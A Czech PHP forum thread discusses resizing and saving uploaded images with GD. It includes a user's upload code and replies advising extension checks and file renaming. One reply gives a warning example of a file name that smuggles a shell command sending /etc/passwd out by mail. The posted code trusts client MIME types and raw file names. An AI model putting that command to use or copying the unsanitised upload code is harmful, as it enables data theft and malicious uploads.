Registrace nového uživatele     Návod     Kluby     Archív  Lopuchu     Lopuch.cz  

Diskuze na Lopuchu,
pohlazení na duchu

Lopuch.cz

Jméno:
Heslo:
Podpora LCD:
 
Klub PHP [ŽP: neomezená] (kategorie Programování) moderuje makovec.
Archiv
Diskuse o vybornem skriptovacim jazyku php. Dulezite odkazy, pred polozenim dotazu zkuste hledat odpoved zde:
  1. www.php.net - domovská stránka PHP
  2. www.kosek.cz - spousta tutorialu pro PHP v češtině
  Nastavení klubu     Nastavení práv     Homepage     Anketa     Přítomní     Oblíbené     Lopuch     Kategorie  
autor: 
text: 
vyplnit a 
Help
 Titulek, text příspěvku  
Opište pozpátku následující text bez prostředního znaku: jgwvpkj
[ 1845 ] <Novější  <<<Nejnovější  Nejstarší>>>  Starší>  
bredy 22.5.2012 09:56  3262
Doporučuju JPEG kompressit na zadanou velikost. Osvěčilo se mi to. Používám rovnici (W * H / k) a výsledek je v bajtech (k je konstanta, používal jsem 5 - 10, podle toho, kolik jsem měl místo na hostingu)

Pokud se ptáte, jak komprimovat JPEG na velikost, tak je to magie. V zasadě se spekulativně komprimuje pro různé nastavení kvality, až se najde taková kvalita, kdy výsledný soubor je nejblíže k požadované velikost (a já používám nejblíže vyšší).

Ověřil jsem si, že některé obrázky si zaslouží vyšší kvalitu, jsou to třeba obrázky částečně rozmazané, z budov a jednobarevných prostor, nebo v mlze. Naopak příliš kontrastní a pestré obrázky pak zase vychází moc velké a snížení kvality není zas tolik znát.
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 21.5.2012 19:38  3261
tvxdík
vyzkouším
tvx tvx Myslet si, že svět je JEN takový, jak - ho v daný čas můžeme pochopit je hloupé. 21.5.2012 19:18  3260
Je to podle me vcelku snadny, delal jsem to hodne davno a nedavno to oprasil.
http://dl.dropbox.com/u/21759848/TnCreator.php

$x = new TnCreator;
$x->open($soubor_pokud_povoleno_i_z_netu);
$x->saveThumbnail($tn_width, $tn_height, $tn_filename, $quality);
$x->reset(); // pokud chces zpracovavat dalsi soubor
tvx tvx Myslet si, že svět je JEN takový, jak - ho v daný čas můžeme pochopit je hloupé. 21.5.2012 18:54  3259
puschpullpokud bys o to stal, mam jednu tridu na praci s obrazkama co jsem kdysi davno stvoril.
1. umi nacist obrazek odkudkoli
2. kdyz zadas rozmery a kam tak ho ulozi.
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 21.5.2012 13:37  3258
takto mi to funguje

<?php
$rnd = rand (11111,99999).'__';

if(isset($_FILES["soubor"]["tmp_name"])){
if(isset($_FILES["soubor"]["size"])){
echo '<br>Velikost souboru: '.$_FILES["soubor"]["size"];
if($_FILES["soubor"]["size"] > "600000") {
echo '<br>Velikost souboru je větší než povolený limit (600000).'; goto konec;}}

if(($_FILES["soubor"]["type"] == "image/jpeg")
or ($_FILES["soubor"]["type"] == "image/png")
or ($_FILES["soubor"]["type"] == "image/gif"))
{

$tmpName = $_FILES["soubor"]["tmp_name"];
$soubor_name = $_FILES["soubor"]["name"];
$soubor_name_path = "images/large/$rnd$soubor_name";
$soubor_name_path_thumbs = "images/thumbs/$rnd$soubor_name";
move_uploaded_file($tmpName, $soubor_name_path);
echo '<br>Obrázek '.$soubor_name.' nahrán pod názvem: '.$rnd.$soubor_name.'<br>';
}
else{echo '<br>Nepodporovaný typ souboru!<br>'; goto konec; }
}

$width = 720;
$height = 720;
$width_thumbs = 150;
$height_thumbs = 150;

list($width_orig, $height_orig) = getimagesize($soubor_name_path);

$ratio_orig = $width_orig/$height_orig;

if ($width/$height > $ratio_orig) {
$width = $height*$ratio_orig;
} else {
$height = $width/$ratio_orig;
}

if ($width_thumbs/$height_thumbs > $ratio_orig) {
$width_thumbs = $height_thumbs*$ratio_orig;
} else {
$height_thumbs = $width_thumbs/$ratio_orig;
}


// Změna velikosti obrázku - Resample
$image_p = imagecreatetruecolor($width, $height);
$image_t = imagecreatetruecolor($width_thumbs, $height_thumbs);
$image = imagecreatefromjpeg($soubor_name_path);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);
imagecopyresampled($image_t, $image, 0, 0, 0, 0, $width_thumbs, $height_thumbs, $width_orig, $height_orig);

// Výstup - Output
imagejpeg($image_p, $soubor_name_path, 98);
imagejpeg($image_t, $soubor_name_path_thumbs, 98);
imagedestroy($image_p);
imagedestroy($image_t);

//******************

konec:


******************************************************************
patrně tam bude něco navíc, zbytečné a možná i něco chybět, ale nyní to dělá to co to má dělat ....

huh [3253]:

tohle ještě zkusím zapracovat
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 20.5.2012 11:02  3257
huh [3256]:
dík
zkusím to
huh huh 20.5.2012 10:32  3256
Klasika je použít GD. Skoro určitě povolený bude. Nezapomeň, aby PHP mělo právo zápisu do adresáře, kam budeš výsledky ukládat.
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 20.5.2012 09:38  3255
prosba o radupotřeboval bych, aby se uploadovaný soubor (po otestování, že se jedná o jpg, png či gif) nějakou funkcí v PHP automaticky zmenšil (zvětšil) na daný rozměr (počítám cca 720px širší strana) zkomprimoval například s kvalitou 84% a uložil do vybrané složky
Co byste na to doporučili a jaké jsou podmínky pro správnou funci na daném webhostingu.
Děkuji
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 12.5.2012 16:53  3254
huh [3253]:
dík za poznámky

jinak, určení bude jako osobní administrace galerie obrázků/fotografií. Takže popsílat data tam bude jen administrátor.
Běžný user bude jen prohlížet
huh huh 12.5.2012 14:33  3253
ja bych:
1) ze jmena souboru bez pripony vyhazel cokoli krome [a-zA-Z-_]+
2) podle neceho jako exif_imagetype urcil typ a bud pridal odpovidajici priponu nebo ho zahodil (nepodporovane typy)
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 11.5.2012 12:46  3252
napsal jsem to tedy nakonec takto:
$rnd = rand (11111,99999).'__';

if(isset($_FILES["soubor"]["tmp_name"])){
if(isset($_FILES["soubor"]["size"])){
echo '<br>Velikost souboru: '.$_FILES["soubor"]["size"];
if($_FILES["soubor"]["size"] > "600000") {
echo '<br>Velikost souboru je větší než povolený limit (600000).'; goto konec;}}

if(($_FILES["soubor"]["type"] == "image/jpeg")
or ($_FILES["soubor"]["type"] == "image/png")
or ($_FILES["soubor"]["type"] == "image/gif"))
{

$tmpName = $_FILES["soubor"]["tmp_name"];
$soubor_name = $_FILES["soubor"]["name"];
$soubor_name_path = "images/large/$rnd$soubor_name";
move_uploaded_file($tmpName, $soubor_name_path);
echo '<br>Obrázek '.$soubor_name.' nahrán pod názvem: '.$rnd.$soubor_name.'<br>';
}
else{echo '<br>Nepodporovaný typ souboru!<br>'; goto konec; }
}


themajkl themajkl All those moments will be lost in time - like tears in rain. 11.5.2012 09:38  3251
(Dnešní implementace všeho možného by už snad s tímhle problémy mít neměly, ale proč to nechávat na náhodě...)
themajkl themajkl All those moments will be lost in time - like tears in rain. 11.5.2012 09:37  3250
IMHO abys předešel případným následkům názvů typu
`cat /etc/passwd | mailx hajzlik@nasiti`.jpg
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 11.5.2012 09:34  3249
makovec [3248]:
dík
doporucoval ty obrazky pri uploadu prejmenovat (resp k nim priradit nejaky retezec)

proč?

Přejmenovat je mohu, resp, přiřadit třeba šestimístný kód z náhodných čísel, aby se zabránilo přepsání souborů stejných názvů ...

Je nějaký jiný důvod tohoto doporučení?
makovec makovec Chuck Norris snědl jídlo od Babicy - a ještě si přidal 11.5.2012 09:27  3248
urcite si tam hlidej jednak aby prochazely jen obrazky, dal si tam prihod jen seznam povolenych koncovek a aby se ti nedalo podstrcit neco co konci .jpg.php. plus bych doporucoval ty obrazky pri uploadu prejmenovat (resp k nim priradit nejaky retezec)


[ 1845 ] <Novější  <<<Nejnovější  Nejstarší>>>  Starší>  

(c) 2001-2011 Lopuch.cz   
Kontakt